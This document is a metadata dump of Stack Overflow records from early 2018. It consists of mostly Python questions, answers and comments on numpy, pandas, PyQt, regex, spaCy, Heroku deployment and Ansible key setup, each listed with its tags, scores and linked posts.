has body: Ever since I installed Google Cloud's Python wrapper (using sudo pip3 install google.cloud), I've started seeing this error. Every time I run a python3 program, even if only using the interactive shell, I see the following error: Error processing line 10 of /usr/local/Cellar/python3/3.6.1/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/proto_google_cloud_datastore_v1-0.90.4-py3.6-nspkg.pth: Traceback (most recent call last): File "/usr/local/Cellar/python3/3.6.1/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site.py", line 168, in addpackage exec(line) File "&lt;string&gt;", line 1, in &lt;module&gt; File "&lt;frozen importlib._bootstrap&gt;", line 557, in module_from_spec AttributeError: 'NoneType' object has no attribute 'loader' Remainder of file ignored Everything works just fine in spite of the above error, but it's annoying to see a stack trace every time I run a python3 program.
has comment: http://stackoverflow.com/comment/111301374
tagged with: python
linked to: http://stackoverflow.com/q/56935698
answer count: 0
upvote count: 3
type: UnansweredQuestion
type: Question

http://stackoverflow.com/q/48784908
has title: numpy.unique sort based on counts
has answer: http://stackoverflow.com/a/48785220
type: AnsweredQuestion
downvote count: 0
tagged with: unique
favorite count: 0
score: 16
tagged with: python-3.x
type: Question
tagged with: python
has body: The numpy.unique function allows to return the counts of unique elements if return_counts is True. Now the returned tuple consists of two arrays one containing the unique elements and the 2nd one containing a count array, both are sorted by the unique elements. Now is there a way to have both sorted according to the counts array instead of the unique elements? I mean I know how to do it the hard way but is there some concise one-liner or lambda functionality for such cases? Current result: my_chr_list = ["a","a","a", "b", "c", "b","d", "d"] unique_els, counts = np.unique(my_chr_list, return_counts=True) print(unique_els, counts) Which returns something along the lines of this: &gt;&gt;&gt; (array(['a', 'b', 'c', 'd'], dtype='&lt;U1'), array([3, 2, 1, 2], dtype=int64)) However, what I would want to have: &gt;&gt;&gt; (array(['a', 'b', 'd', 'c'], dtype='&lt;U1'), array([3, 2, 2, 1], dtype=int64))
upvote count: 16
accepted answer: http://stackoverflow.com/a/48785220
answer count: 1
tagged with: numpy
tagged with: sorting

http://stackoverflow.com/q/48757358
answer count: 3
tagged with: pandas
has comment: http://stackoverflow.com/comment/84515895
downvote count: 0
favorite count: 0
has answer: http://stackoverflow.com/a/48757401
linked to: http://stackoverflow.com/q/44558215
tagged with: http://stackoverflow.com/tag/csv
tagged with: python
accepted answer: http://stackoverflow.com/a/48757401
type: AnsweredQuestion
score: 1
has answer: http://stackoverflow.com/a/48757453
upvote count: 1
type: Question
possible better answer: http://stackoverflow.com/a/48757453
has answer: http://stackoverflow.com/a/48757866
tagged with: dataframe
has body: I have the following df and I want to merge the lines that have the same Ids, unless there are duplicates Ids A B C D E F G H I J 4411 24 2 55 26 1 4411 24 2 54 26 0 4412 22 4 54 26 0 4412 18 8 54 26 0 7401 12 14 54 26 0 7401 0 25 53 26 0 7402 24 2 54 26 0 7402 25 1 54 26 0 10891 16 10 54 26 0 10891 3 23 54 26 0 10891 5 10 6 15 0 Example output Ids A B C D E F G H I J 4411 24 2 55 26 1 24 2 54 26 0 4412 22 4 54 26 0 18 8 54 26 0 7401 12 14 54 26 0 0 25 53 26 0 7402 24 2 54 26 0 25 1 54 26 0 10891 16 10 54 26 0 3 23 54 26 0 10891 5 10 6 15 0 I tried groupby but that throws errors when you write to csv.
has title: Pandas Merge Rows with Duplicate Ids Conditionally, Suitable for to CSV

http://stackoverflow.com/q/48778543
tagged with: ghostscript
has comment: http://stackoverflow.com/comment/84566332
has comment: http://stackoverflow.com/comment/84566327
has comment: http://stackoverflow.com/comment/84581214
type: UnansweredQuestion
tagged with: python
answer count: 0
score: 0
has comment: http://stackoverflow.com/comment/84559365
type: Question
has body: Question(s): I am trying to get a turtle graphic window to save as a jpg. Presently I can get it to save as a .ps or .eps file. can=turtle.getscreen().getcanvas() can.postscript(file="test1.eps") From here, I was hoping to use Ghostscript to convert the file to jpg/png/pdf. Using the ghostscript documentation, it looks like this would work: (https://www.ghostscript.com/doc/9.22/Use.htm#Invoking) ps2pdf file.ps Here is my dilemma. I cannot install ghostscript to my boot drive. I am on a network so this prevents me. I do have a drive I can install to, but I don't know if that will work with ghostscript and python. Any ideas? GHOSTSCRIPT : I am not sure how ghostscript works with python (or otherwise). I tried to log into the IRC chat on the ghostscript site, but that doesn't seem active for non-paying customers.
tagged with: postscript
has title: How do I use Ghostscript with Python? converting images from eps to png / jpg/ pdf

http://stackoverflow.com/q/48688282
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/84374434
linked to: http://stackoverflow.com/q/23294658
score: -4
tagged with: python
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/48688418
has title: Prompt for a value in a range
has comment: http://stackoverflow.com/comment/84375948
tagged with: loops
type: Question
has comment: http://stackoverflow.com/comment/84374470
upvote count: 0
has body: Write a program that asks the user to enter the number of push-ups they can do. The program should force the user to enter a valid number by repeating the question until a number between 0 and 500 is entered. Once a valid answer is provided, the program should print out: “Wimp!! I can do X.” where X is one more that what the user entered. This is what the shells shows: How many push-ups can you do? 1000 Liar, please enter a number between 0 and 500: 2341 Liar, please enter a number between 0 and 500: 75 Wimp!! I can do 76.
downvote count: 4
tagged with: while-loop
has answer: http://stackoverflow.com/a/48688418

http://stackoverflow.com/q/48713295
has comment: http://stackoverflow.com/comment/84426245
tagged with: pyqt
accepted answer: http://stackoverflow.com/a/48714256
tagged with: pyqt4
has comment: http://stackoverflow.com/comment/84426891
has body: Using the answer to this question: Python: PyQt Popup Window I was able to produce a gui with a button that has a popup window. What I would like to do now is press a button in the popup and pass a command to a function in the MyPopup class. This is easily accomplished using the lambda function, however, when you press the button in the mainwindow the popup window no longer closes and a new instance of the popup is created, resulting in two popup screens. From my understanding this is due to a signal being produced by the lambda function. Is there a way to clear this lambda function such that when the main button is pressed the old instance is closed and a new instance of the popup is loaded? If this is not possible using lambda, is there another way to pass variables to the function to obtain the results I am looking for? Here are some example screenshots to better illustrate my issue: Running Script without lambda in popup Running Script with lambda in popup Here is the modified popup code from the previous question: import sys from PyQt4.Qt import * class MyPopup(QWidget): def __init__(self): QWidget.__init__(self) self.btn_popup = QPushButton("broken", self) self.btn_popup.clicked.connect(lambda state, x='lambda prevents refresh': self.function(x)) def function(self, word): print('Now I dont close',word) def paintEvent(self, e): dc = QPainter(self) dc.drawLine(0, 0, 100, 100) dc.drawLine(100, 0, 0, 100) class MainWindow(QMainWindow): def __init__(self, *args): QMainWindow.__init__(self, *args) self.cw = QWidget(self) self.setCentralWidget(self.cw) self.btn1 = QPushButton("Click me", self.cw) self.btn1.setGeometry(QRect(0, 0, 100, 30)) self.connect(self.btn1, SIGNAL("clicked()"), self.doit) self.w = None def doit(self): print ("Opening a new popup window...") self.w = MyPopup() self.w.setGeometry(QRect(100, 100, 400, 200)) self.w.show() class App(QApplication): def __init__(self, *args): QApplication.__init__(self, *args) self.main = MainWindow() self.main.show()…
has title: Pop up window no longer closes when using lambda function
type: AnsweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/84426933
tagged with: python-3.x
type: Question
score: 0
has answer: http://stackoverflow.com/a/48714256
tagged with: lambda
answer count: 1
linked to: http://stackoverflow.com/q/4838890

http://stackoverflow.com/q/48725548
downvote count: 0
has comment: http://stackoverflow.com/comment/84450588
has body: I'm new to python and working with a list of URLs I've scraped. Some of the URLs are being returned with a # sign in front of it, how can i remove this? Here's my code: from bs4 import BeautifulSoup, SoupStrainer import requests source = requests.get('https://www.census.gov/programs-surveys/popest.html').text soup = BeautifulSoup(source, 'html.parser') links = soup.find_all('a', href=True) records = [] for results in links: url = results['href'] records.append(url) #here i am removing the duplicate URL's from the records list records = set(records) records = list(records) #here i am returning URL's only containing 'http' filter_records = [k for k in records if 'http' in k] import csv with open ('test.csv', 'w') as f: csv_writer = csv.writer(f, delimiter=',') csv_writer.writerow(['Web Address']) [csv_writer.writerow([record]) for record in filter_records] How do i remove the # from some of the results in the list?
score: 2
has comment: http://stackoverflow.com/comment/84450240
has title: python parsing characters out of a list of URLs
tagged with: parsing
favorite count: 0
answer count: 0
upvote count: 2
has comment: http://stackoverflow.com/comment/84450152
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/84450093
has comment: http://stackoverflow.com/comment/84450145
type: Question

http://stackoverflow.com/q/48803448
score: 0
accepted answer: http://stackoverflow.com/a/48803559
tagged with: import
type: Question
linked to: http://stackoverflow.com/q/7243750
answer count: 1
has title: Import Events from .CAL Calendar
favorite count: 0
tagged with: events
has body: I've looked extremely hard but I couldn't find a solution to my problem. I have a Program that opens a black full-screen window, and I wanted it to display the events of a .cal Calendar with is uploaded by the user publicly on the web. What I've looked for was, a way for python to "download" the file and extract the Events from it, displaying them as text. As a final result I'll wish to see all the events on the left. I've looked for similar programs to reverse engineer and extract the code that would be helpful to me, couldn't succeed tho. I've seen this from the MagicMirror, but the code is Javascript(I think) and that is not really what I'm familiar with.
has answer: http://stackoverflow.com/a/48803559
tagged with: python-3.x
upvote count: 1
tagged with: python
tagged with: calendar
downvote count: 1
has comment: http://stackoverflow.com/comment/84609557
type: AnsweredQuestion

http://stackoverflow.com/a/66823992
score: 2
upvote count: 2
answers question: http://stackoverflow.com/q/48792965
has body: In Ubuntu terminal simply run this command and this will install zbar in your global package sudo apt-get install zbar-tools
downvote count: 0
type: Answer

http://stackoverflow.com/a/48800767
score: 1
has body: With this error response you've probably missed a required header, like content-type; check your app's logs to be sure. Here's how to add it: # the previous code ${headers}= Create Dictionary Content-type=application/json ${resp} = RequestsLibrary.POST REQUEST session uri=/omc/simulator/api/generate data=${data} headers=${headers} There is another issue with the code; this line here: ${data} = evaluate json.load(open('/root/data.json', 'r')) json ,will effectively load the provided json file, and transform it into a python object (most likely, a dictionary). Yet, you are not supposed to send it like this in the request - it has to be serialized back into a json format (the biggest difference b/n json and string representation of python dictionaries - json does not use single quotes ' as delimiters). So once you've done that, you can do: ${data} = evaluate json.dumps($data) json , which will transform it back. Or, just load the file contents and not do this forth-and-back transformations.
answers question: http://stackoverflow.com/q/48787207
upvote count: 1
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/48787207
type: Answer
downvote count: 0

http://stackoverflow.com/comment/84301680
type: Comment
comment on: http://stackoverflow.com/q/48651377
score: 0
type: QuestionComment
has text: on a 224x224 pixel prediction, loss starts ~ 5.0.

http://stackoverflow.com/a/48694967
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/48694900
has body: IIUC enumerate namelist = df.columns.get_values().tolist() ROList = [s for s in namelist if "RO_" in s] for i,col in enumerate(ROList): df['Month'+str(i+1)] = np.where(np.logical_or(df[col]==4,df[col]==1), '1', '0') df Out[194]: KEY RO_1 RO_2 RO_3 RO_4 Month1 Month2 Month3 Month4 0 100000003 1 1 1 1 1 1 1 1 1 100000009 1 0 1 4 1 0 1 1 2 100000009 4 0 1 1 1 0 1 1 3 100000009 1 0 1 1 1 0 1 1 Your logic seems like change 4 to 1 df.assign(**df.loc[:,ROList].mask(df.loc[:,ROList]==4,1).rename(columns=dict(zip(ROList,list(range(1,len(ROList)+1))))).add_prefix('Month')) Out[15]: KEY RO_1 RO_2 RO_3 RO_4 Month1 Month2 Month3 Month4 0 100000003 1 1 1 1 1 1 1 1 1 100000009 1 0 1 4 1 0 1 1 2 100000009 4 0 1 1 1 0 1 1 3 100000009 1 0 1 1 1 0 1 1
score: 2
upvote count: 2

http://stackoverflow.com/a/59351989
has body: This error only happened when you run 'python script.py' directly. 'python script.py --help' works fine. Add args = parser.parse_args() try: args.func(args) except AttributeError: parser.print_help() parser.exit() will help you handle this case of running 'python script.py' directly. It resolved my issue, thanks very much!
upvote count: 1
answers question: http://stackoverflow.com/q/48648036
type: Answer
downvote count: 0
score: 1

http://stackoverflow.com/q/48662397
tagged with: list
answer count: 3
accepted answer: http://stackoverflow.com/a/48662575
has answer: http://stackoverflow.com/a/48662480
has body: I want to order a list of lists in a custom order, based on the first value of each list. The list of lists are my columns of a pivot_table dataframe (cols = list(dfOverview.columns.values)), where some columns are a list on itself. Minimal working example (where I want the columns starting with b to move before c): cols = ['2016', '2017', '2018', ('a', '2016'), ('a', '2017'), ('a', '2018'), ('c', '2016'), ('c', '2017'), ('c', '2018'), ('b', '2016'), ('b', '2017')] sortOrder = {'2016': 0, '2017': 1, '2018': 2, 'a': 3, 'b': 4, 'c': 5} cols.sort(key=lambda val: sortOrder[val[0]]) This returns an error, and even though I tried and google'd a lot, I can't find a way to get this working. Desired result of cols: ['2016', '2017', '2018', ('a', '2016'), ('a', '2017'), ('a', '2018'), ('b', '2016'), ('b', '2017'), ('c', '2016'), ('c', '2017'), ('c', '2018')] To clarify, some context of my problem: I pivoted a pandas data frame, resulting in a new data frame where columns could consist of a list of values (pivot table with multiple columns as argument). That makes it difficult to order, hence the above problem. My dataframe is the result of the following function: dfPivot = df.pivot_table(index=['col1', 'col2'], columns=['year','category'], values='price')
downvote count: 0
tagged with: sorting
has title: Python order list of lists in custom order based on first value of each list
type: AnsweredQuestion
tagged with: python
score: 1
favorite count: 0
tagged with: python-3.x
has answer: http://stackoverflow.com/a/48662575
type: Question
possible better answer: http://stackoverflow.com/a/48662441
upvote count: 1
has answer: http://stackoverflow.com/a/48662441

http://stackoverflow.com/q/48649480
tagged with: spacy
has answer: http://stackoverflow.com/a/48651736
accepted answer: http://stackoverflow.com/a/48651736
tagged with: python
type: AnsweredQuestion
type: Question
has body: Suppose I have a sentence 'Using Data.Frames allows you to handle data efficiently' Using spacy this example will be split into two sentences: &gt;&gt; example = 'Using Data.Frames allows you to handle data efficiently' &gt;&gt; doc = nlp(example) &gt;&gt; list(doc.sents) [Using Data., Frames allows you to handle data efficiently] Following the recommendation from this other question I can partially solve this problem through span merging, like so &gt;&gt; doc[1:4].merge() &gt;&gt; doc[1] Data.Frame However this will not merge the previously split sentences &gt;&gt;&gt; list(doc.sents) [Using Data.Frames, allows you to handle data efficiently] What would be the best way to reprocess sentence tokenization after a set of merging operations have been applied? This is important for me because I need to navigate the parsing tree afterwards. P.S. In my real application I need to use regular expressions to identify this special case abbreviations (roughly [A-Za-z0-9-:]+.[A-Z][a-z0-9A-Z]+) ., hence why I cannot use spacy's add_special_case. Maybe I could use a custom tokenizer but I'm not sure how to go about it. Python version: 2.7.12 Platform: Linux-4.4.0-21-generic-x86_64-with-LinuxMint-18-sarah spaCy version: 2.0.5
linked to: http://stackoverflow.com/q/44594759
score: 0
answer count: 1
has title: Merging sentences after merging spans

http://stackoverflow.com/q/48665080
tagged with: python
tagged with: qt
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84328411
score: 0
tagged with: pyqt5
has body: I'm creating a code editor in PyQt5. I'm using a QGridLayout in the center widget and building the UI from there. The problem I'm facing is that the QPlainTextEdit's and the Menu don't fill the available space on the center widget. I tried setting the size policy to expanding and tried adapting the stretch parameters of the QGridLayout. I'm running the code in python 2.7 and PyQt 5. Using the PyCharm IDE. Main.py import os import sys from PyQt5.QtWidgets import QMainWindow, QApplication, QAction from PyQt5.QtGui import QIcon import UI versao = '3.0.0' class Principal(QMainWindow): def __init__(self): super(Principal, self).__init__() self.acao_novo = 0 self.acao_abrir = 0 self.acao_exemplos = 0 self.acao_sair = 0 self.acao_salvar = 0 self.acao_salvar_como = 0 self.acao_comentar_linha = 0 self.acao_achar = 0 self.acao_achar_e_substituir = 0 self.acao_ir_para_linha = 0 self.acao_placa = 0 self.acao_porta = 0 self.acao_lingua = 0 self.acao_monitor_serial = 0 self.acao_verificar = 0 self.acao_verificar_e_carregar = 0 self.init_ui() def init_ui(self): self.setCentralWidget(UI.Centro()) self.setGeometry(300, 300, 500, 550) self.setWindowTitle('Br.ino ' + versao) self.setWindowIcon(QIcon(os.path.join('recursos', 'logo.png'))) self.show() def main(): app = QApplication(sys.argv) principal = Principal() app.setStyleSheet("""QMainWindow { background: '#252525'; } QMenu{ background: '#252525'; } QMenu::item { background: '#252525'; } QMenu::item:selected{ background: '#101010'; } QMenuBar { background: '#252525'; } QMenuBar::item { background: '#252525'; } QMenuBar::item:selected{ background: '#101010'; } QPlainTextEdit{ background: '#252525'; border: None; border-radius: 6px; color: '#efefef'; selection-background-color: '#454545'; }""") sys.exit(app.exec_()) if __name__ == '__main__': main() UI.py from PyQt5.QtWidgets import (QWidget, QGridLayout, QPlainTextEdit, QVBoxLayout, QSpacerItem, QSizePolicy, QAbstractButton) import os from PyQt5.QtGui import QPixmap, QPainter from …
type: Question
has answer: http://stackoverflow.com/a/48666214
has comment: http://stackoverflow.com/comment/84328469
has title: PyQt5 QWidget not filling parent
has comment: http://stackoverflow.com/comment/84327939
has comment: http://stackoverflow.com/comment/84372957
tagged with: python-2.7
tagged with: pyqt
answer count: 1
accepted answer: http://stackoverflow.com/a/48666214

http://stackoverflow.com/a/48746655
score: 1
upvote count: 1
has body: You can loop the list and copy key into home directory Example: - name: Copy SSH key L2 users to host copy: src: files/L2.pub dest: /home/{{ item }}/.ssh/authorized_keys mode: 600 with_items: l2_users But instead of copying key, I would suggest to use authorized_key module for best practice. - name: Set authorized key took from file authorized_key: user: '{{ item }}' state: present key: "{{ lookup('file', '/path/of/id_rsa.pub') }}" with_items: l2_users
has comment: http://stackoverflow.com/comment/84493621
downvote count: 0
has comment: http://stackoverflow.com/comment/84493464
type: Answer
answers question: http://stackoverflow.com/q/48746331

http://stackoverflow.com/a/48733761
answers question: http://stackoverflow.com/q/48731715
has body: Solution in Vim: %s/\({.*\)\@&lt;=-\(.*}\)\@=/_/g Explanation of matched pattern: \({.*\)\@&lt;=-\(.*}\)\@= \({.*\)\@&lt;= Forces the match to have a {.* behind - Specifies a dash (-) as the match \(.*}\)\@= Forces the match to have a .*} ahead
has comment: http://stackoverflow.com/comment/84480542
has comment: http://stackoverflow.com/comment/84480883
type: Answer
downvote count: 1
score: 1
upvote count: 2

http://stackoverflow.com/comment/104928866
score: 0
type: Comment
has text: @ Daniel Möller Thank you for the response, But I tried I didn't get good prediction value. Please can you look at my question , here is te link of my question "https://stackoverflow.com/questions/59367712/how-to-feed-my-output-prediction-value-as-next-input-value-of-rnn-model-to-for-f" I am requesting you to please look at my question, I am stuck of this problem. Thank you.
comment on: http://stackoverflow.com/a/48807811
type: AnswerComment

http://stackoverflow.com/comment/84393268
type: Comment
has text: @user4815162342 No, it doesn't. As `for` is synchronous, and `await download_coroutine(url)` will block current `for` loop until `download_coroutine` finish. In this case, there is no difference to make requests just one by one. But it can be changed into `for url in urls: await asyncio.sleep(1/50); asyncio.ensure_future(download_coroutine(url))`. Thanks for reminding.
comment on: http://stackoverflow.com/a/48682456
type: AnswerComment
score: 0

http://stackoverflow.com/comment/84482337
score: 0
type: Comment
has text: Hi, I used python 2.7.10, and when I am using `python test.py`, everything works fine, however, I got an error when I was using `python test.py 3>3.txt`, error message shown `print >>outfiles[3], "foo" KeyError: 3`
type: AnswerComment
comment on: http://stackoverflow.com/a/48735205

http://stackoverflow.com/q/48784178
type: Question
tagged with: heroku
has answer: http://stackoverflow.com/a/65018630
has title: Heroku not pushing Django App due to buildpack error
score: 1
has body: I am trying to upload my Django project to Heroku with Python. My app was built on Python 3.6.1 and when I go to push the app to heroku I am receiving the following error message in the terminal: remote: Compressing source files... done. remote: Building source: remote: remote: -----&gt; App not compatible with buildpack: https://codon-buildpacks.s3.amazonaws.com/buildpacks/heroku/python.tgz remote: More info: https://devcenter.heroku.com/articles/buildpacks#detection-failure remote: remote: ! Push failed remote: Verifying deploy... remote: remote: ! Push rejected to random-appio. remote: I have included a runtime.txt file containing the following: python-3.6.1 I also have a Procfile containing: web: sh -c "cd directory &amp;&amp; gunicorn directory.wsgi" As well as a requirements.txt file containing: Django==2.0.2 gunicorn==19.7.1 pytz==2018.3 whitenoise==3.3.1 My requirements.txt, Procfile and runtime.txt are all in the project directory. I can't see where I am going wrong here - any ideas? Thanks everyone.
has answer: http://stackoverflow.com/a/63844696
answer count: 2
has comment: http://stackoverflow.com/comment/84572942
upvote count: 1
has comment: http://stackoverflow.com/comment/84572054
has comment: http://stackoverflow.com/comment/84572303
has comment: http://stackoverflow.com/comment/84570940
favorite count: 0
tagged with: python
has comment: http://stackoverflow.com/comment/84572277
downvote count: 0
type: UnansweredQuestion
tagged with: django
has comment: http://stackoverflow.com/comment/84571164

http://stackoverflow.com/comment/84522981
comment on: http://stackoverflow.com/q/48761172
has text: From what I'm able to comprehend, what you should do is: write user login functionality by yourself (and not touch the django-admin login setup. leave it for admin stuff). Django provides a lot of utility methods to create a custom login view.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/48668885
answer count: 1
linked to: http://stackoverflow.com/q/26998223
tagged with: numpy
score: 2
has answer: http://stackoverflow.com/a/48671624
tagged with: arrays
downvote count: 0
has body: I have two numpy arrays and each has shape of (10000,10000). One is value array and the other one is index array. Value=np.random.rand(10000,10000) Index=np.random.randint(0,1000,(10000,10000)) I want to make a list (or 1D numpy array) by summing all the "Value array" referring the "Index array". For example, for each index i, finding matching array index and giving it to value array as argument for i in range(1000): NewArray[i] = np.sum(Value[np.where(Index==i)]) However, This is too slow since I have to do this loop through 300,000 arrays. I tried to come up with some logical indexing method like NewArray[Index] += Value[Index] But it didn't work. The next thing I tried is using dictionary for k, v in list(zip(Index.flatten(),Value.flatten())): NewDict[k].append(v) and for i in NewDict: NewDict[i] = np.sum(NewDict[i]) But it was slow too Is there any smart way to speed up?
tagged with: optimization
has title: Speeding up fancy indexing with numpy
type: Question
type: AnsweredQuestion
favorite count: 0
accepted answer: http://stackoverflow.com/a/48671624
upvote count: 2
tagged with: python

http://stackoverflow.com/q/48788077
tagged with: recursion
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48795830
has comment: http://stackoverflow.com/comment/84628447
type: Question
tagged with: python
has body: I have written a python code to solve the missionaries and cannibals problem using recursive dfs in python. However I keep getting this error: RecursionError: maximum recursion depth exceeded I have no idea what to do about it, and I have been stuck at it for so long. Any help or suggestion will be life saving for me. Thanks. Here is the code: class State(object): #left = 1 #right = 0 for boat def __init__(self, missionaries, cannibals, boat): self.missionaries = missionaries self.cannibals = cannibals self.boat = boat #def __str__(self): # return "%s, %s %s %s" % (self.by_move, self.missionaries, self.cannibals, self.boat) def is_valid(self): if self.missionaries &lt; 0 or self.missionaries &gt; 3: return False if self.cannibals &lt; 0 or self.cannibals &gt; 3: return False if self.boat &gt; 1 or self.boat &lt; 0: return False if self.missionaries &lt; self.cannibals and self.missionaries &gt; 0: return False # Check for the other side if self.missionaries &gt; self.cannibals and self.missionaries &lt; 3: return False return True def is_goal(self): return self.missionaries == 0 and self.cannibals == 0 and self.boat == 0 def new_states(self): op = -1 # Subtract boat_move = "from left shore to right" if self.boat == 0: op = 1 # Add boat_move = "from right shore to left" for x in range(3): for y in range(3): by_move = "Move %s missionaries and %s cannibals %s" % (x, y, boat_move) new_state = State(self.missionaries + op * x, self.cannibals + op * y, self.boat + op * 1) if x + y &gt;= 1 and x + y &lt;= 2 and new_state.is_valid(): yield new_state class Node(object): def __init__(self, parent, state, depth): self.parent = parent self.state = state self.depth = depth def children(self): for state in self.state.new_states(): yield Node(parent=self, state=state, depth=self.depth + 1) def extract_solution(self): print "Extracting soln" solution = [] node = self solution.append(node) while node.parent is not None: solution.append(node.parent) node = node.parent solution.rever…
accepted answer: http://stackoverflow.com/a/48795830
score: 0
has title: Maximum recursion depth exceeded in dfs using recursion in python
tagged with: depth-first-search
has comment: http://stackoverflow.com/comment/84577858
answer count: 1
has comment: http://stackoverflow.com/comment/84577926

http://stackoverflow.com/q/48652719
tagged with: python
tagged with: regex
has comment: http://stackoverflow.com/comment/84303595
downvote count: 1
has body: I have an expression of the form some_text_0 pattern_instance_1 some_text_1 pattern_instance_2 some_text_2 pattern_instance_3 some_text_3 .. where each pattern_instance is an instance of PATTERN, and I would like to extract it as [pattern_instance_1, some_text_1], [pattern_instance_2, some_text_2], ... (dropping the first some_text_0). What is the best way to do this ? As a more concrete case I am trying to match something like Things I need to buy: 1 banana two apples three pears zero kiwis into [1, banana], [two, apples], .. I already have the regex to match the numbers but it's fairly complex. The few solutions I found seem to involve negating this regex to do the match on some text but I was wondering whether there would be another way, as I am not sure how to negate my regex. I also tried playing with re.find_all() but couldn't get it to work.
type: Question
upvote count: 0
answer count: 1
score: -1
favorite count: 0
has answer: http://stackoverflow.com/a/48652963
type: UnansweredQuestion
has title: Python regex: Matching pattern repeatedly within a sentence

http://stackoverflow.com/a/48771775
has body: I suggest you try regex101.com, it will help you visualize your regex. Also, the documentation for re is very useful to learn (or remember) how the special characters work. With your example I'd use this regex (with named groups): (?P&lt;section_number&gt;\d\.\d) (?P&lt;section_title&gt;[\w ]+)\n\n\s*(?P&lt;body&gt;.+?)\s*(?=\d\.\d[\w ]+|$) Breaking it down: For the section number and title I used named groups (?P&lt;section_number&gt;\d\.\d) and (?P&lt;section_title&gt;[\w ]+) separated by a space. The body (?P&lt;body&gt;.+?) is follwed by the positive lookahead (?=\d\.\d[\w ]+|$). This means that it will stop capturing text when another section is about to begin or when the document ends. It needs to be nongreedy (+?) or you'll en up with just one section and the rest of the document as the body. NOTE: you need to enable re.DOTALL when you compile or search for matches or the point will not match new line characters. If you want the section title to match the beggining of a string you can also add a ^ to the lookahead but you need to enable re.MULTILINE. You'd also have to change the $ at the end to \Z so it matches only the end of the document and not the end of every line. (?P&lt;section_number&gt;\d\.\d) (?P&lt;section_title&gt;[\w ]+)\n\n\s*(?P&lt;body&gt;.+?)\s*(?=^\d\.\d[\w ]+|\Z)
has comment: http://stackoverflow.com/comment/84547787
has comment: http://stackoverflow.com/comment/84551545
answers question: http://stackoverflow.com/q/48770528
score: 1
has comment: http://stackoverflow.com/comment/84550066
has comment: http://stackoverflow.com/comment/84550243
has comment: http://stackoverflow.com/comment/84545531
has comment: http://stackoverflow.com/comment/84547407
upvote count: 1
has comment: http://stackoverflow.com/comment/84548549
has comment: http://stackoverflow.com/comment/84547736
type: Answer
has comment: http://stackoverflow.com/comment/84548301
has comment: http://stackoverflow.com/comment/84549162
downvote count: 0

http://stackoverflow.com/a/48688380
type: Answer
has body: you can create your own mixin like this class AuthorOnlyMixin(object): def has_permissions(self): return self.get_object().created_by == self.request.user then use it like this class EditViewClass(AuthorOnlyMixin, EditView): def get_form_class(self): if self.has_permissions(): return FormWithPermission else: return FormWithoutPermission
answers question: http://stackoverflow.com/q/48687849
downvote count: 0
score: 1
upvote count: 1

http://stackoverflow.com/comment/84463994
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/48732051
has text: No i am not the error.Everything works when i enter my emal and username.The problem is that i dont know how to pass the input file as as argument from the container and where the output file will be created
type: Comment

http://stackoverflow.com/comment/84336552
score: 0
type: AnswerComment
has text: I don't know BioPython, so the code in your comment doesn't mean anything to me. Are you trying to stream a string? (How large of one? Absent some very specific circumstances, I don't much believe the "apparently it takes longer to process").
type: Comment
comment on: http://stackoverflow.com/a/48652700

http://stackoverflow.com/comment/84567345
has text: 1): bad formatting. It's just unnecessary, you can preview your post and check if it's formated correctly. Many people will just stop reading your question if they can't even copy paste your code. 2): asking two questions in one question. Just don't. 3): low effort. If you had entered your `**` verbatim into google, you would have gotten the answer I linked as the top result - why didn't you? 4): In the vein of the first point, you also lack a reproducible example.
score: 0
comment on: http://stackoverflow.com/q/48782713
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84299271
type: Comment
type: QuestionComment
has text: How is your current `main.py` parsing its args?
comment on: http://stackoverflow.com/q/48650616
score: 0

http://stackoverflow.com/comment/84350315
type: Comment
comment on: http://stackoverflow.com/a/48675718
type: AnswerComment
has text: What a deeply perceptive answer! +1 (if I could) and Thank you. This question actually came about while I was creating different reverse iterators. I have much to learn yet about Python's magic methods.
score: 0

http://stackoverflow.com/comment/84294521
type: Comment
comment on: http://stackoverflow.com/q/48648352
score: 3
has text: Possible duplicate of [Access environment variables from Python](https://stackoverflow.com/questions/4906977/access-environment-variables-from-python) - I'm guessing you mean you just want to access the environment variables.
type: QuestionComment

http://stackoverflow.com/comment/84471343
has text: Welcome to StackOverflow. Please take the time to read this post on [how to provide a great pandas example](http://stackoverflow.com/questions/20109391/how-to-make-good-reproducible-pandas-examples) as well as how to provide a [minimal, complete, and verifiable example](http://stackoverflow.com/help/mcve) and revise your question accordingly. These tips on [how to ask a good question](http://stackoverflow.com/help/how-to-ask) may also be useful.
comment on: http://stackoverflow.com/q/48735993
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84506023
type: QuestionComment
has text: @hpaulj I doubt you'd save any speed over a loop, the concatenation overhead would kill any speed gains I suspect
score: 0
comment on: http://stackoverflow.com/q/48752583
type: Comment

http://stackoverflow.com/comment/84445642
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48723255
has text: It does not output any errors/exceptions. Where do I find that log please? It just looks like it freezes on that driver.get. After 10 minutes of work it said something like "request timeout".

http://stackoverflow.com/comment/84441914
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48721492
score: 0
has text: Changed that. But this wan't causing the issue

http://stackoverflow.com/q/48689311
tagged with: pyreverse
tagged with: python
type: AnsweredQuestion
upvote count: 5
type: Question
score: 5
has title: pyreverse: How to set output directory for generated diagrams
has answer: http://stackoverflow.com/a/68972464
downvote count: 0
possible better answer: http://stackoverflow.com/a/52864167
has answer: http://stackoverflow.com/a/52864167
answer count: 3
has body: Documentation on pyreverse is sparse and half of the pages that google presented me, redirect to some exotic pages that will require some explaining should your boss find them in your browser history. Due to the way how pyreverse seems to work, you have to use it from inside your root project/django app directory (running it when in, say, MyApp/docs/ may not find every ancestor of a class your interested in). Meaning the generated diagrams will 'clog' up your project folder unless you manually move them elsewhere. Is there a way to designate an output folder for pyreverse?
has answer: http://stackoverflow.com/a/57919090
favorite count: 0
accepted answer: http://stackoverflow.com/a/68972464

